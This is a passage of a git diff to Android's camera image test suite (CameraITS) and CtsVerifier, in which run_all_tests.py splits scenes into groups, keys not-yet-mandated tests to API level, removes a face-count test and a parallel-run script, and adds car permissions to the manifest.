- assert FD_MODE_OFF <= fd_mode <= FD_MODE_FULL
- req = its.objects.auto_capture_request()
- req['android.statistics.faceDetectMode'] = fd_mode
- fmt = {'format': 'yuv', 'width': W, 'height': H}
- caps = cam.do_capture([req]*NUM_TEST_FRAMES, fmt)
- for i, cap in enumerate(caps):
- md = cap['metadata']
- assert md['android.statistics.faceDetectMode'] == fd_mode
- faces = md['android.statistics.faces']
-
- # 0 faces should be returned for OFF mode
- if fd_mode == FD_MODE_OFF:
- assert not faces
- continue
- # Face detection could take several frames to warm up,
- # but should detect the correct number of faces in last frame
- if i == NUM_TEST_FRAMES - 1:
- img = its.image.convert_capture_to_rgb_image(cap,
- props=props)
- fnd_faces = len(faces)
- print 'Found %d face(s), expected %d.' % (fnd_faces,
- NUM_FACES)
- # draw boxes around faces
- for rect in [face['bounds'] for face in faces]:
- top_left = (int(round(rect['left']*W/aw)),
- int(round(rect['top']*H/ah)))
- bot_rght = (int(round(rect['right']*W/aw)),
- int(round(rect['bottom']*H/ah)))
- cv2.rectangle(img, top_left, bot_rght, (0, 1, 0), 2)
- img_name = '%s_fd_mode_%s.jpg' % (NAME, fd_mode)
- its.image.write_image(img, img_name)
- assert fnd_faces == NUM_FACES
- if not faces:
- continue
-
- print 'Frame %d face metadata:' % i
- print ' Faces:', faces
- print ''
-
- # Reasonable scores for faces
- face_scores = [face['score'] for face in faces]
- for score in face_scores:
- assert score >= 1 and score <= 100
- # Face bounds should be within active array
- face_rectangles = [face['bounds'] for face in faces]
- for rect in face_rectangles:
- assert rect['top'] < rect['bottom']
- assert rect['left'] < rect['right']
- assert 0 <= rect['top'] <= ah
- assert 0 <= rect['bottom'] <= ah
- assert 0 <= rect['left'] <= aw
- assert 0 <= rect['right'] <= aw
-
-if __name__ == '__main__':
- main()
diff --git a/apps/CameraITS/tests/scene2c/test_num_faces.py b/apps/CameraITS/tests/scene2c/test_num_faces.py
deleted file mode 100644
index 044c154..0000000
--- a/apps/CameraITS/tests/scene2c/test_num_faces.py
+++ /dev/null
@@ -1,100 +0,0 @@
-# Copyright 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-import os.path
-import cv2
-import its.caps
-import its.device
-import its.image
-import its.objects
-
-NAME = os.path.basename(__file__).split('.')[0]
-NUM_TEST_FRAMES = 20
-NUM_FACES = 3
-FD_MODE_OFF = 0
-FD_MODE_SIMPLE = 1
-FD_MODE_FULL = 2
-W, H = 640, 480
-
-
-def main():
- """Test face detection."""
- with its.device.ItsSession() as cam:
- props = cam.get_camera_properties()
- its.caps.skip_unless(its.caps.face_detect(props))
- mono_camera = its.caps.mono_camera(props)
- fd_modes = props['android.statistics.info.availableFaceDetectModes']
- a = props['android.sensor.info.activeArraySize']
- aw, ah = a['right'] - a['left'], a['bottom'] - a['top']
-
- if its.caps.read_3a(props):
- _, _, _, _, _ = cam.do_3a(get_results=True,
- mono_camera=mono_camera)
-
- for fd_mode in fd_modes:
- assert FD_MODE_OFF <= fd_mode <= FD_MODE_FULL
- req = its.objects.auto_capture_request()
- req['android.statistics.faceDetectMode'] = fd_mode
- fmt = {'format': 'yuv', 'width': W, 'height': H}
- caps = cam.do_capture([req]*NUM_TEST_FRAMES, fmt)
- for i, cap in enumerate(caps):
- md = cap['metadata']
- assert md['android.statistics.faceDetectMode'] == fd_mode
- faces = md['android.statistics.faces']
-
- # 0 faces should be returned for OFF mode
- if fd_mode == FD_MODE_OFF:
- assert not faces
- continue
- # Face detection could take several frames to warm up,
- # but should detect the correct number of faces in last frame
- if i == NUM_TEST_FRAMES - 1:
- img = its.image.convert_capture_to_rgb_image(cap,
- props=props)
- fnd_faces = len(faces)
- print 'Found %d face(s), expected %d.' % (fnd_faces,
- NUM_FACES)
- # draw boxes around faces
- for rect in [face['bounds'] for face in faces]:
- top_left = (int(round(rect['left']*W/aw)),
- int(round(rect['top']*H/ah)))
- bot_rght = (int(round(rect['right']*W/aw)),
- int(round(rect['bottom']*H/ah)))
- cv2.rectangle(img, top_left, bot_rght, (0, 1, 0), 2)
- img_name = '%s_fd_mode_%s.jpg' % (NAME, fd_mode)
- its.image.write_image(img, img_name)
- assert fnd_faces == NUM_FACES
- if not faces:
- continue
-
- print 'Frame %d face metadata:' % i
- print ' Faces:', faces
- print ''
-
- # Reasonable scores for faces
- face_scores = [face['score'] for face in faces]
- for score in face_scores:
- assert score >= 1 and score <= 100
- # Face bounds should be within active array
- face_rectangles = [face['bounds'] for face in faces]
- for rect in face_rectangles:
- assert rect['top'] < rect['bottom']
- assert rect['left'] < rect['right']
- assert 0 <= rect['top'] <= ah
- assert 0 <= rect['bottom'] <= ah
- assert 0 <= rect['left'] <= aw
- assert 0 <= rect['right'] <= aw
-
-if __name__ == '__main__':
- main()
diff --git a/apps/CameraITS/tests/scene3/scene3_0.5_scaled.pdf b/apps/CameraITS/tests/scene3/scene3_0.5x_scaled.pdf
similarity index 100%
rename from apps/CameraITS/tests/scene3/scene3_0.5_scaled.pdf
rename to apps/CameraITS/tests/scene3/scene3_0.5x_scaled.pdf
Binary files differ
diff --git a/apps/CameraITS/tests/scene3/scene3_0.67_scaled.pdf b/apps/CameraITS/tests/scene3/scene3_0.67x_scaled.pdf
similarity index 100%
rename from apps/CameraITS/tests/scene3/scene3_0.67_scaled.pdf
rename to apps/CameraITS/tests/scene3/scene3_0.67x_scaled.pdf
Binary files differ
diff --git a/apps/CameraITS/tests/scene4/scene4_0.5_scaled.pdf b/apps/CameraITS/tests/scene4/scene4_0.5x_scaled.pdf
similarity index 100%
rename from apps/CameraITS/tests/scene4/scene4_0.5_scaled.pdf
rename to apps/CameraITS/tests/scene4/scene4_0.5x_scaled.pdf
Binary files differ
diff --git a/apps/CameraITS/tests/scene4/scene4_0.67_scaled.pdf b/apps/CameraITS/tests/scene4/scene4_0.67x_scaled.pdf
similarity index 100%
rename from apps/CameraITS/tests/scene4/scene4_0.67_scaled.pdf
rename to apps/CameraITS/tests/scene4/scene4_0.67x_scaled.pdf
Binary files differ
diff --git a/apps/CameraITS/tests/sensor_fusion/test_multi_camera_frame_sync.py b/apps/CameraITS/tests/sensor_fusion/test_multi_camera_frame_sync.py
index 2ebac1e..e8f3c4c 100644
--- a/apps/CameraITS/tests/sensor_fusion/test_multi_camera_frame_sync.py
+++ b/apps/CameraITS/tests/sensor_fusion/test_multi_camera_frame_sync.py
@@ -36,15 +36,6 @@
CM_TO_M = 1/100.0
-def _check_available_capabilities(props):
- """Returns True if all required test capabilities are present."""
- return all([
- its.caps.read_3a(props),
- its.caps.per_frame_control(props),
- its.caps.logical_multi_camera(props),
- its.caps.sensor_fusion(props)])
-
-
def _assert_camera_movement(frame_pairs_angles):
"""Assert the angles between each frame pair are sufficiently different.
@@ -105,7 +96,7 @@
props = cam.get_camera_properties()
# If capabilities not present, skip.
- its.caps.skip_unless(_check_available_capabilities(props))
+ its.caps.skip_unless(its.caps.multi_camera_frame_sync_capable(props))
# Determine return parameters
debug = its.caps.debug_mode()
diff --git a/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py b/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py
index 25296b6..9292f6a3 100644
--- a/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py
+++ b/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py
@@ -73,11 +73,6 @@
THRESH_MAX_SHIFT_MS = 1
THRESH_MIN_ROT = 0.001
-# lens facing
-FACING_FRONT = 0
-FACING_BACK = 1
-FACING_EXTERNAL = 2
-
# Chart distance
CHART_DISTANCE = 25 # cm
@@ -353,9 +348,9 @@
p1, st, _ = cv2.calcOpticalFlowPyrLK(gframe0, gframe1, p0_filtered,
None, **LK_PARAMS)
tform = procrustes_rotation(p0_filtered[st == 1], p1[st == 1])
- if facing == FACING_BACK:
+ if facing == its.caps.FACING_BACK:
rot = -math.atan2(tform[0, 1], tform[0, 0])
- elif facing == FACING_FRONT:
+ elif facing == its.caps.FACING_FRONT:
rot = math.atan2(tform[0, 1], tform[0, 0])
else:
print "Unknown lens facing", facing
@@ -430,10 +425,7 @@
with its.device.ItsSession() as cam:
props = cam.get_camera_properties()
props = cam.override_with_hidden_physical_camera_props(props)
- its.caps.skip_unless(its.caps.read_3a and
- its.caps.sensor_fusion(props) and
- props["android.lens.facing"] != FACING_EXTERNAL and
- cam.get_sensors().get("gyro"))
+ its.caps.skip_unless(its.caps.sensor_fusion_capable(props))
print "Starting sensor event collection"
cam.start_sensor_events()
@@ -443,7 +435,7 @@
# Capture the frames. OIS is disabled for manual captures.
facing = props["android.lens.facing"]
- if facing != FACING_FRONT and facing != FACING_BACK:
+ if facing != its.caps.FACING_FRONT and facing != its.caps.FACING_BACK:
print "Unknown lens facing", facing
assert 0
diff --git a/apps/CameraITS/tools/load_scene.py b/apps/CameraITS/tools/load_scene.py
index e25a3f5..97b6ead 100644
--- a/apps/CameraITS/tools/load_scene.py
+++ b/apps/CameraITS/tools/load_scene.py
@@ -21,6 +21,8 @@
import its.cv2image
import numpy as np
+LOAD_SCENE_DELAY = 2 # seconds
+
def main():
"""Load charts on device and display."""
@@ -51,10 +53,10 @@
dst_scene_file = '/sdcard/Download/%s.pdf' % scene
chart_scaling = its.cv2image.calc_chart_scaling(chart_distance, camera_fov)
if np.isclose(chart_scaling, its.cv2image.SCALE_TELE_IN_WFOV_BOX, atol=0.01):
- file_name = '%s_%s_scaled.pdf' % (
+ file_name = '%s_%sx_scaled.pdf' % (
scene, str(its.cv2image.SCALE_TELE_IN_WFOV_BOX))
elif np.isclose(chart_scaling, its.cv2image.SCALE_RFOV_IN_WFOV_BOX, atol=0.01):
- file_name = '%s_%s_scaled.pdf' % (
+ file_name = '%s_%sx_scaled.pdf' % (
scene, str(its.cv2image.SCALE_RFOV_IN_WFOV_BOX))
else:
file_name = '%s.pdf' % scene
@@ -63,7 +65,7 @@
cmd = 'adb -s %s push %s /mnt%s' % (screen_id, src_scene_file,
dst_scene_file)
subprocess.Popen(cmd.split())
- time.sleep(1) # wait-for-device doesn't always seem to work...
+ time.sleep(LOAD_SCENE_DELAY) # wait-for-device doesn't always seem to work
# The intent require PDF viewing app be installed on device.
# Also the first time such app is opened it might request some permission,
# so it's better to grant those permissions before using this script
diff --git a/apps/CameraITS/tools/rotation_rig.py b/apps/CameraITS/tools/rotation_rig.py
index 281952c..37ab9f4 100644
--- a/apps/CameraITS/tools/rotation_rig.py
+++ b/apps/CameraITS/tools/rotation_rig.py
@@ -82,6 +82,7 @@
vid:pid can be found through lsusb on the host.
ch is hard wired and must be determined from the box.
"""
+ num_rotations = NUM_ROTATIONS
for s in sys.argv[1:]:
if s[:8] == 'rotator=':
if len(s) > 8:
@@ -112,9 +113,11 @@
err_string += 'rotator=VID:PID:CH or rotator=CH'
print err_string
sys.exit()
+ if s[:14] == 'num_rotations=':
+ num_rotations = int(s[14:])
- print 'Rotating phone %dx' % NUM_ROTATIONS
- for _ in xrange(NUM_ROTATIONS):
+ print 'Rotating phone %dx' % num_rotations
+ for _ in xrange(num_rotations):
set_relay_channel_state(vid, pid, ch, 'ON')
time.sleep(SLEEP_TIME)
set_relay_channel_state(vid, pid, ch, 'OFF')
diff --git a/apps/CameraITS/tools/run_all_tests.py b/apps/CameraITS/tools/run_all_tests.py
index c2f4fef..34b6192 100644
--- a/apps/CameraITS/tools/run_all_tests.py
+++ b/apps/CameraITS/tools/run_all_tests.py
@@ -29,8 +29,6 @@
from its.device import ItsSession
import its.image
-import numpy as np
-
# For sanity checking the installed APK's target SDK version
MIN_SUPPORTED_SDK_VERSION = 28 # P
@@ -41,7 +39,7 @@
CHART_SCALE_START = 0.65
CHART_SCALE_STOP = 1.35
CHART_SCALE_STEP = 0.025
-FACING_EXTERNAL = 2
+NOT_YET_MANDATED_ALL = 100
NUM_TRYS = 2
PROC_TIMEOUT_CODE = -101 # terminated process return -process_id
PROC_TIMEOUT_TIME = 900 # timeout in seconds for a process (15 minutes)
@@ -51,21 +49,63 @@
VGA_HEIGHT = 480
VGA_WIDTH = 640
-# Not yet mandated tests
+# All possible scenes
+# Notes on scene names:
+# scene*_1/2/... are same scene split to load balance run times for scenes
+# scene*_a/b/... are similar scenes that share one or more tests
+ALL_SCENES = ['scene0', 'scene1_1', 'scene1_2', 'scene2_a', 'scene2_b',
+ 'scene2_c', 'scene3', 'scene4', 'scene5', 'sensor_fusion']
+
+# Scenes that are logically grouped and can be called as group
+GROUPED_SCENES = {
+ 'scene1': ['scene1_1', 'scene1_2'],
+ 'scene2': ['scene2_a', 'scene2_b', 'scene2_c']
+}
+
+# Scenes that can be automated through tablet display
+AUTO_SCENES = ['scene0', 'scene1_1', 'scene1_2', 'scene2_a', 'scene2_b',
+ 'scene2_c', 'scene3', 'scene4']
+
+SCENE_REQ = {
+ 'scene0': None,
+ 'scene1_1': 'A grey card covering at least the middle 30% of the scene',
+ 'scene1_2': 'A grey card covering at least the middle 30% of the scene',
+ 'scene2_a': 'The picture in tests/scene2_a.pdf with 3 faces',
+ 'scene2_b': 'The picture in tests/scene2_b.pdf with 3 faces',
+ 'scene2_c': 'The picture in tests/scene2_c.pdf with 3 faces',
+ 'scene3': 'The ISO 12233 chart',
+ 'scene4': 'A specific test page of a circle covering at least the '
+ 'middle 50% of the scene. See CameraITS.pdf section 2.3.4 '
+ 'for more details',
+ 'scene5': 'Capture images with a diffuser attached to the camera. See '
+ 'CameraITS.pdf section 2.3.4 for more details',
+ 'sensor_fusion': 'Rotating checkboard pattern. See '
+ 'sensor_fusion/SensorFusion.pdf for detailed '
+ 'instructions.\nNote that this test will be skipped '
+ 'on devices not supporting REALTIME camera timestamp.'
+}
+
+SCENE_EXTRA_ARGS = {
+ 'scene5': ['doAF=False']
+}
+
+# Not yet mandated tests ['test', first_api_level mandatory]
+# ie. ['test_test_patterns', 30] is MANDATED for first_api_level >= 30
NOT_YET_MANDATED = {
'scene0': [
- 'test_test_patterns',
- 'test_tonemap_curve'
+ ['test_test_patterns', 30],
+ ['test_tonemap_curve', 30]
],
- 'scene1': [
- 'test_ae_precapture_trigger',
- 'test_channel_saturation'
+ 'scene1_1': [
+ ['test_ae_precapture_trigger', 28],
+ ['test_channel_saturation', 29]
],
- 'scene2': [
- 'test_auto_per_frame_control'
+ 'scene1_2': [],
+ 'scene2_a': [
+ ['test_auto_per_frame_control', NOT_YET_MANDATED_ALL]
],
- 'scene2b': [],
- 'scene2c': [],
+ 'scene2_b': [],
+ 'scene2_c': [],
'scene3': [],
'scene4': [],
'scene5': [],
@@ -78,21 +118,24 @@
'test_burst_capture',
'test_metadata',
'test_read_write',
- 'test_sensor_events'
+ 'test_sensor_events',
+ 'test_unified_timestamps'
],
- 'scene1': [
+ 'scene1_1': [
'test_exposure',
'test_dng_noise_model',
'test_linearity',
+ ],
+ 'scene1_2': [
'test_raw_exposure',
'test_raw_sensitivity'
],
- 'scene2': [
+ 'scene2_a': [
'test_faces',
'test_num_faces'
],
- 'scene2b': [],
- 'scene2c': [],
+ 'scene2_b': [],
+ 'scene2_c': [],
'scene3': [],
'scene4': [
'test_aspect_ratio_and_crop'
@@ -103,6 +146,67 @@
]
}
+# Tests run in more than 1 scene.
+# List is created of type ['scene_source', 'test_to_be_repeated']
+# for the test run in current scene.
+REPEATED_TESTS = {
+ 'scene0': [],
+ 'scene1_1': [],
+ 'scene1_2': [],
+ 'scene2_a': [],
+ 'scene2_b': [
+ ['scene2_a', 'test_num_faces']
+ ],
+ 'scene2_c': [
+ ['scene2_a', 'test_num_faces']
+ ],
+ 'scene3': [],
+ 'scene4': [],
+ 'scene5': [],
+ 'sensor_fusion': []
+}
+
+
+def determine_not_yet_mandated_tests(device_id):
+ """Determine from NEW_YET_MANDATED & phone info not_yet_mandated tests.
+
+ Args:
+ device_id: string of device id number
+
+ Returns:
+ dict of not yet mandated tests
+ """
+ # initialize not_yet_mandated
+ not_yet_mandated = {}
+ for scene in ALL_SCENES:
+ not_yet_mandated[scene] = []
+
+ # Determine first API level for device
+ first_api_level = its.device.get_first_api_level(device_id)
+
+ # Determine which scenes are not yet mandated for first api level
+ for scene, tests in NOT_YET_MANDATED.items():
+ for test in tests:
+ if test[1] >= first_api_level:
+ not_yet_mandated[scene].append(test[0])
+ return not_yet_mandated
+
+
+def expand_scene(scene, scenes):
+ """Expand a grouped scene and append its sub_scenes to scenes.
+
+ Args:
+ scene: scene in GROUPED_SCENES dict
+ scenes: list of scenes to append to
+
+ Returns:
+ updated scenes
+ """
+ print 'Expanding %s to %s.' % (scene, str(GROUPED_SCENES[scene]))
+ for sub_scene in GROUPED_SCENES[scene]:
+ scenes.append(sub_scene)
+
+
def run_subprocess_with_timeout(cmd, fout, ferr, outdir):
"""Run subprocess with a timeout.
@@ -168,16 +272,18 @@
return socket_fail
-def skip_sensor_fusion(camera_id):
- """Determine if sensor fusion test is skipped for this camera."""
-
- skip_code = SKIP_RET_CODE
+def run_rotations(camera_id, test_name):
+ """Determine if camera rotation is run for this test."""
with ItsSession(camera_id) as cam:
props = cam.get_camera_properties()
- if (its.caps.sensor_fusion(props) and its.caps.manual_sensor(props) and
- props['android.lens.facing'] is not FACING_EXTERNAL):
- skip_code = None
- return skip_code
+ method = {'test_sensor_fusion': {
+ 'flag': its.caps.sensor_fusion_capable(props),
+ 'runs': 10},
+ 'test_multi_camera_frame_sync': {
+ 'flag': its.caps.multi_camera_frame_sync_capable(props),
+ 'runs': 5}
+ }
+ return method[test_name]
def main():
@@ -191,50 +297,24 @@
camera Ids. Ex: "camera=0,1" or "camera=1"
device: device id for adb
scenes: the test scene(s) to be executed. Use comma to separate
- multiple scenes. Ex: "scenes=scene0,scene1" or
- "scenes=0,1,sensor_fusion" (sceneX can be abbreviated by X
- where X is a integer)
- chart: [Experimental] another android device served as test chart
- display. When this argument presents, change of test scene
+ multiple scenes. Ex: "scenes=scene0,scene1_1" or
+ "scenes=0,1_1,sensor_fusion" (sceneX can be abbreviated by X
+ where X is scene name minus 'scene')
+ chart: another android device served as test chart display.
+ When this argument presents, change of test scene
will be handled automatically. Note that this argument
requires special physical/hardware setup to work and may not
work on all android devices.
result: Device ID to forward results to (in addition to the device
that the tests are running on).
- rot_rig: [Experimental] ID of the rotation rig being used (formatted as
+ rot_rig: ID of the rotation rig being used (formatted as
"<vendor ID>:<product ID>:<channel #>" or "default")
tmp_dir: location of temp directory for output files
skip_scene_validation: force skip scene validation. Used when test scene
is setup up front and don't require tester validation.
- dist: [Experimental] chart distance in cm.
+ dist: chart distance in cm.
"""
- all_scenes = ["scene0", "scene1", "scene2", "scene2b", "scene2c", "scene3", "scene4", "scene5",
- "sensor_fusion"]
-
- auto_scenes = ["scene0", "scene1", "scene2", "scene2b", "scene2c", "scene3", "scene4"]
-
- scene_req = {
- "scene0": None,
- "scene1": "A grey card covering at least the middle 30% of the scene",
- "scene2": "A picture containing human faces",
- "scene2b": "A picture containing human faces",
- "scene2c": "A picture containing human faces",
- "scene3": "The ISO 12233 chart",
- "scene4": "A specific test page of a circle covering at least the "
- "middle 50% of the scene. See CameraITS.pdf section 2.3.4 "
- "for more details",
- "scene5": "Capture images with a diffuser attached to the camera. See "
- "CameraITS.pdf section 2.3.4 for more details",
- "sensor_fusion": "Rotating checkboard pattern. See "
- "sensor_fusion/SensorFusion.pdf for detailed "
- "instructions.\nNote that this test will be skipped "
- "on devices not supporting REALTIME camera timestamp."
- }
- scene_extra_args = {
- "scene5": ["doAF=False"]
- }
-
camera_id_combos = []
scenes = []
chart_host_id = None
@@ -275,7 +355,7 @@
merge_result_switch = result_device_id is not None
# Run through all scenes if user does not supply one
- possible_scenes = auto_scenes if auto_scene_switch else all_scenes
+ possible_scenes = AUTO_SCENES if auto_scene_switch else ALL_SCENES
if not scenes:
scenes = possible_scenes
else:
@@ -285,14 +365,19 @@
for s in scenes:
if s in possible_scenes:
temp_scenes.append(s)
+ elif GROUPED_SCENES.has_key(s):
+ expand_scene(s, temp_scenes)
else:
try:
# Try replace "X" to "sceneX"
scene_str = "scene" + s
- if scene_str not in possible_scenes:
+ if scene_str in possible_scenes:
+ temp_scenes.append(scene_str)
+ elif GROUPED_SCENES.has_key(scene_str):
+ expand_scene(scene_str, temp_scenes)
+ else:
valid_scenes = False
break
- temp_scenes.append(scene_str)
except ValueError:
valid_scenes = False
break
@@ -300,7 +385,8 @@
if not valid_scenes:
print 'Unknown scene specified:', s
assert False
- scenes = temp_scenes
+ # assign temp_scenes back to scenes and remove duplicates
+ scenes = sorted(set(temp_scenes), key=temp_scenes.index)
# Make output directories to hold the generated files.
topdir = tempfile.mkdtemp(dir=tmp_dir)
@@ -395,11 +481,11 @@
# Initialize test results
results = {}
result_key = ItsSession.RESULT_KEY
- for s in all_scenes:
+ for s in ALL_SCENES:
results[s] = {result_key: ItsSession.RESULT_NOT_EXECUTED}
camera_fov = calc_camera_fov(id_combo.id, id_combo.sub_id)
- id_combo_string = id_combo.id;
+ id_combo_string = id_combo.id
has_hidden_sub_camera = id_combo.sub_id is not None
if has_hidden_sub_camera:
id_combo_string += ":" + id_combo.sub_id
@@ -414,28 +500,29 @@
tot_tests = []
tot_pass = 0
+ not_yet_mandated = determine_not_yet_mandated_tests(device_id)
for scene in scenes:
skip_code = None
- tests = [(s[:-3], os.path.join("tests", scene, s))
- for s in os.listdir(os.path.join("tests", scene))
- if s[-3:] == ".py" and s[:4] == "test"]
+ tests = [(s[:-3], os.path.join('tests', scene, s))
+ for s in os.listdir(os.path.join('tests', scene))
+ if s[-3:] == '.py' and s[:4] == 'test']
+ if REPEATED_TESTS[scene]:
+ for t in REPEATED_TESTS[scene]:
+ tests.append((t[1], os.path.join('tests', t[0], t[1]+'.py')))
tests.sort()
tot_tests.extend(tests)
- summary = "Cam" + id_combo_string + " " + scene + "\n"
+ summary = 'Cam' + id_combo_string + ' ' + scene + '\n'
numpass = 0
numskip = 0
num_not_mandated_fail = 0
numfail = 0
validate_switch = True
- if scene_req[scene] is not None:
- out_path = os.path.join(topdir, id_combo_string, scene+".jpg")
- out_arg = "out=" + out_path
- if scene == 'sensor_fusion':
- skip_code = skip_sensor_fusion(id_combo.id)
- if rot_rig_id or skip_code == SKIP_RET_CODE:
- validate_switch = False
- if skip_scene_validation:
+ if SCENE_REQ[scene] is not None:
+ out_path = os.path.join(topdir, id_combo_string, scene+'.jpg')
+ out_arg = 'out=' + out_path
+ if ((scene == 'sensor_fusion' and rot_rig_id) or
+ skip_scene_validation):
validate_switch = False
cmd = None
if auto_scene_switch:
@@ -451,8 +538,8 @@
else:
# Skip scene validation under certain conditions
if validate_switch and not merge_result_switch:
- scene_arg = 'scene=' + scene_req[scene]
- extra_args = scene_extra_args.get(scene, [])
+ scene_arg = 'scene=' + SCENE_REQ[scene]
+ extra_args = SCENE_EXTRA_ARGS.get(scene, [])
cmd = ['python',
os.path.join(os.getcwd(),
'tools/validate_scene.py'),
@@ -499,11 +586,13 @@
outpath = os.path.join(outdir, testname+'_stdout.txt')
errpath = os.path.join(outdir, testname+'_stderr.txt')
if scene == 'sensor_fusion':
- if skip_code is not SKIP_RET_CODE:
+ # determine if you need to rotate for specific test
+ rotation_props = run_rotations(id_combo.id, testname)
+ if rotation_props['flag']:
if rot_rig_id:
print 'Rotating phone w/ rig %s' % rot_rig_id
- rig = ('python tools/rotation_rig.py rotator=%s' %
- rot_rig_id)
+ rig = 'python tools/rotation_rig.py rotator=%s num_rotations=%s' % (
+ rot_rig_id, rotation_props['runs'])
subprocess.Popen(rig.split())
else:
print 'Rotate phone 15s as shown in SensorFusion.pdf'
@@ -536,7 +625,7 @@
elif test_code == SKIP_RET_CODE:
retstr = "SKIP "
numskip += 1
- elif test_code != 0 and testname in NOT_YET_MANDATED[scene]:
+ elif test_code != 0 and testname in not_yet_mandated[scene]:
retstr = "FAIL*"
num_not_mandated_fail += 1
else:
diff --git a/apps/CameraITS/tools/run_parallel_tests.py b/apps/CameraITS/tools/run_parallel_tests.py
deleted file mode 100644
index cdba01e..0000000
--- a/apps/CameraITS/tools/run_parallel_tests.py
+++ /dev/null
@@ -1,129 +0,0 @@
-# Copyright 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-from multiprocessing import Process
-import os
-import os.path
-import tempfile
-import subprocess
-import time
-import string
-import sys
-import textwrap
-import its.device
-
-def main():
- """
- device0: device serial number for camera 0 testing
- device1: device serial number for camera 1 testing
- chart: [Experimental] another android device served as test chart
- display. When this argument presents, change of test scene will
- be handled automatically. Note that this argument requires
- special physical/hardware setup to work and may not work on
- all android devices.
- """
- auto_scenes = ["0", "1", "2", "3", "4"]
-
- device0_id = None
- device1_id = None
- chart_host_id = None
- scenes = None
-
- for s in sys.argv[1:]:
- if s[:8] == "device0=" and len(s) > 8:
- device0_id = s[8:]
- elif s[:8] == "device1=" and len(s) > 8:
- device1_id = s[8:]
- elif s[:7] == "scenes=" and len(s) > 7:
- scenes = s[7:].split(',')
- elif s[:6] == 'chart=' and len(s) > 6:
- chart_host_id = s[6:]
-
- #Sanity Check for camera 0 & 1 parallel testing
- device0_bfp = its.device.get_device_fingerprint(device0_id)
- device1_bfp = its.device.get_device_fingerprint(device1_id)
- chart_host_bfp = its.device.get_device_fingerprint(chart_host_id)
-
- assert device0_bfp is not None, "Can not connect to the device0"
- assert device0_bfp == device1_bfp, \
- "Not the same build: %s vs %s" % (device0_bfp, device1_bfp)
- assert chart_host_bfp is not None, "Can not connect to the chart device"
-
- if scenes is None:
- scenes = auto_scenes
-
- print ">>> Start the test at %s" % time.strftime('%Y/%m/%d %H:%M:%S')
- for scene in scenes:
- cmds = []
- cmds.append(build_cmd(device0_id, chart_host_id, device1_id, 0, scene))
- cmds.append(build_cmd(device1_id, chart_host_id, device0_id, 1, scene))
-
- procs = []
- for cmd in cmds:
- print "running: ", cmd
- proc = Process(target=run_cmd, args=(cmd,))
- procs.append(proc)
- proc.start()
-
- for proc in procs:
- proc.join()
-
- shut_down_device_screen(device0_id)
- shut_down_device_screen(device1_id)
- shut_down_device_screen(chart_host_id)
-
- print ">>> End the test at %s" % time.strftime('%Y/%m/%d %H:%M:%S')
-
-def build_cmd(device_id, chart_host_id, result_device_id, camera_id, scene_id):
- """ Create a cmd list for run_all_tests.py
- Return a list of cmd & parameters
- """
- cmd = ['python',
- os.path.join(os.getcwd(),'tools/run_all_tests.py'),
- 'device=%s' % device_id,
- 'result=%s' % result_device_id,
- 'camera=%i' % camera_id,
- 'scenes=%s' % scene_id]
-
- # scene 5 is not automated and no chart is needed
- if scene_id != '5':
- cmd.append('chart=%s' % chart_host_id)
- else:
- cmd.append('skip_scene_validation')
-
- return cmd
-
-def run_cmd(cmd):
- """ Run shell command on a subprocess
- """
- proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
- output, error = proc.communicate()
- print output, error
-
-def shut_down_device_screen(device_id):
- """ Shut Down Device Screen
-
- Returns:
- None
- """
-
- print 'Shutting down chart screen: ', device_id
- screen_id_arg = ('screen=%s' % device_id)
- cmd = ['python', os.path.join(os.environ['CAMERA_ITS_TOP'], 'tools',
- 'turn_off_screen.py'), screen_id_arg]
- retcode = subprocess.call(cmd)
- assert retcode == 0
-
-if __name__ == '__main__':
- main()
diff --git a/apps/CtsVerifier/Android.mk b/apps/CtsVerifier/Android.mk
index c528a3d6..688451a 100644
--- a/apps/CtsVerifier/Android.mk
+++ b/apps/CtsVerifier/Android.mk
@@ -34,7 +34,6 @@
LOCAL_STATIC_JAVA_LIBRARIES := android-ex-camera2 \
compatibility-common-util-devicesidelib \
cts-sensors-tests \
- cts-location-tests \
cts-camera-performance-tests \
ctstestrunner-axt \
apache-commons-math \
@@ -56,6 +55,7 @@
LOCAL_JAVA_LIBRARIES += android.test.runner.stubs
LOCAL_JAVA_LIBRARIES += android.test.base.stubs
LOCAL_JAVA_LIBRARIES += android.test.mock.stubs
+LOCAL_JAVA_LIBRARIES += android.car
LOCAL_JAVA_LIBRARIES += voip-common
LOCAL_JAVA_LIBRARIES += truth-prebuilt
diff --git a/apps/CtsVerifier/AndroidManifest.xml b/apps/CtsVerifier/AndroidManifest.xml
index 0d685f8..be3dd9b 100644
--- a/apps/CtsVerifier/AndroidManifest.xml
+++ b/apps/CtsVerifier/AndroidManifest.xml
@@ -22,6 +22,8 @@
<uses-sdk android:minSdkVersion="19" android:targetSdkVersion="29"/>
+ <uses-permission android:name="android.car.permission.CAR_EXTERIOR_ENVIRONMENT" />
+ <uses-permission android:name="android.car.permission.CAR_POWERTRAIN" />
<uses-permission android:name="android.permission.ACCESS_BACKGROUND_LOCATION" />
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
<uses-permission android:name="android.permission.ACCESS_LOCATION_EXTRA_COMMANDS"/>
@@ -86,11 +88,6 @@
android:requestLegacyExternalStorage="true"
android:theme="@android:style/Theme.DeviceDefault">
- <provider android:name="android.location.cts.MmsPduProvider"
- android:authorities="emergencycallverifier"
- android:grantUriPermissions="true" />
- <uses-library android:name="android.test.runner" />
-
